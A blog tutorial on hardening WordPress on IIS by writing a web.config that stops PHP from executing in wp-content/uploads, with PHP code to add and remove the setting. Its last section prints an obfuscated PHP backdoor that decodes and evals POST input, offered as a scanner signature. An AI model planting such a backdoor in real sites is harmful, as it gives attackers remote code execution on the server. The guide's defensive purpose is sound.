Secure WordPress uploads folder, disable PHP execution

Reading Time: 7 Minutes

The following PHP function will disable the execution of PHP scripts in WordPress’ wp-content/uploads, on IIS web servers. Securing the WordPress uploads folder is important. In many hacked WordPress sites, a PHP backdoor is found within the WP_CONTENT_DIR/uploads directory. Often because this is the location where uploads are placed automatically. From the backdoor within wp-content/uploads other backdoors are uploaded to various locations, and scripts are injected with malware.

How to disable PHP in wp-content/uploads

The PHP execution in wp-content/uploads is disabled by writing a web.config file containing an accessPolicy for handlers. This accessPolicy tells IIS what a handler can, and cannot do: execute, read, and/or write for example

Please note that this will only partially secure your WordPress website, but not fully!

You must take other security measures as well. For example, you can use a .htaccess as a web application firewall (WAF), to block out known – and unknown – vulnerabilities based on their request characteristics. Or you can use a HTTP blacklist to block out IP addresses known to abuse websites.

The web.config accessPolicy only works on IIS 7.0+ web servers, consult your web hosting provider for more information

Interesting:   "Zo versleutel je je e-mail met PGP"

As always, the PHP code is provided AS-IS.

Disable the execution of PHP scripts in wp-content/uploads

The PHP code to write a web.config file comes partially from the WordPress functions iis7_add_rewrite_rule() and saveDomDocument(), both found in wp-admin/includes/misc.php.

It shouldn’t be too hard for you to wrap this in a WordPress plugin:

<?php
function disable_script_execution() {
	$is_iis7 = true;
	$path = WP_CONTENT_DIR . '/uploads';
	$filename = 'web.config';
	if ( $is_iis7 ) {
		if ( ! file_exists( $path . '/' . $filename ) ) {
			$fp = fopen( $path . '/' . $filename, 'w' );
			fwrite( $fp, '<configuration/>' );
			fclose( $fp );
		}

		$formatxml = PHP_EOL;
		$formatxml = "  <handlers accessPolicy=\"Read\" />";
		$formatxml .= PHP_EOL;

		$doc = new DOMDocument();
		$doc->preserveWhiteSpace = true;
		if ( $doc->load( $path . '/' . $filename) === false ) {
		  return false;
		}
		$xpath = new DOMXPath( $doc );
		$read_accesspolicy = $xpath->query( '/configuration/system.webServer/handlers[starts-with(@accessPolicy,\'Read\')]' );
		if ( $read_accesspolicy->length > 0 ) {
		  return true;
		}

		$xmlnodes = $xpath->query( '/configuration/system.webServer/handlers' );
		if ( $xmlnodes->length > 0 ) {
			$handlers_node = $xmlnodes->item(0);
		}
		else {
			$handlers_node = $doc->createElement( 'handlers' );
			$xmlnodes = $xpath->query( '/configuration/system.webServer' );
			if ( $xmlnodes->length > 0 ) {
				$system_webServer_node = $xmlnodes->item(0);
				$handler_fragment = $doc->createDocumentFragment();
				$handler_fragment->appendXML( $formatxml );
				$system_webServer_node->appendChild( $handler_fragment );
			}
			else {
				$system_webServer_node = $doc->createElement( 'system.webServer' );
				$handler_fragment = $doc->createDocumentFragment();
				$handler_fragment->appendXML( $formatxml );
				$system_webServer_node->appendChild( $handler_fragment );

				$xmlnodes = $xpath->query( '/configuration' );
				if ( $xmlnodes->length > 0 ) {
					$config_node = $xmlnodes->item(0);
					$config_node->appendChild( $system_webServer_node );
				}
				else {
					$config_node = $doc->createElement( 'configuration' );
					$doc->appendChild( $config_node );
					$config_node->appendChild( $system_webServer_node );
				}
			}
		}

	$rule_fragment = $doc->createDocumentFragment();
	$rule_fragment->appendXML( $formatxml );
	$handlers_node->appendChild( $rule_fragment );

	$doc->encoding = "UTF-8";
	$doc->formatOutput = true;
	saveDomDocument( $doc, $path .'/'. $filename );
	return true;
	}
}

By disabling PHP in the uploads directory, your WordPress site is a little bit more secured. The, somewhat older, Smashing Magazine post Common WordPress Malware Infections gives great insight in common WordPress (core, theme, plugin) vulnerabilities and how they’re abused.

wp-content/uploads/web.config result

The function above creates the following web.config file in your wp-content/uploads directory:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read"/>
  </system.webServer>
</configuration>

This tells IIS that handlers (such as PHP) may only read, and not execute. If you don’t want to create a WordPress plugin, you can copy/paste the above code into a new file and save it as web.config. Upload the file to your wp-content/uploads folder. Be careful not to upload it to a different folder.

Interesting:   HackRepair.com's Bad Bots .htaccess in web.config for IIS

Re-enable PHP script execution

If you want to re-enable PHP script execution, you can simply delete the web.config file from the wp-content/uploads directory. Or you can programmatic enable PHP by deleting the <handlers accessPolicy="Read"/> line:

<?php
function enable_script_execution() {
	$is_iis7 = true;
	$path = WP_CONTENT_DIR . '/uploads';
	$filename = 'web.config';
	if ( $is_iis7 ) {
		if ( ! file_exists( $path . '/' . $filename ) ) {
			return true;
		}

		$doc = new DOMDocument();
		$doc->preserveWhiteSpace = false;
		if ( $doc->load( $path . '/' . $filename ) === false ) {
		  return false;
		}

		$xpath = new DOMXPath($doc);
		$handlers = $xpath->query( '/configuration/system.webServer/handlers[contains(@accessPolicy,\'Read\')]' );
		if ( $handlers->length > 0 ) {
			$child = $handlers->item(0);
			$parent = $child->parentNode;
			$parent->removeChild( $child );
			$doc->formatOutput = true;
			saveDomDocument( $doc, $path .'/'. $filename );
		}
	}
	return true;
}
?>

Example PHP backdoor found in wp-content/uploads

An example of a PHP backdoor you may find is the following one. You can use the PHP backdoor code for signatures in your automated backdoor scanning tools or grep regular expressions.

/wp-content/uploads/2009/12/files.php:

<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset(${$s20}['n23f412'])) {
  eval($s21(${$s20}['n23f412']));
}
?>

/wp-content/uploads/functions.php:

$tddbvdlvz="base64_decode";return $tddbvdlvz($gnce);}

Preventing the execution of PHP in wp-content/uploads prevents these exploits from spreading (however, the cause must be addressed in your website).

Hi! Join the discussion, leave a reply!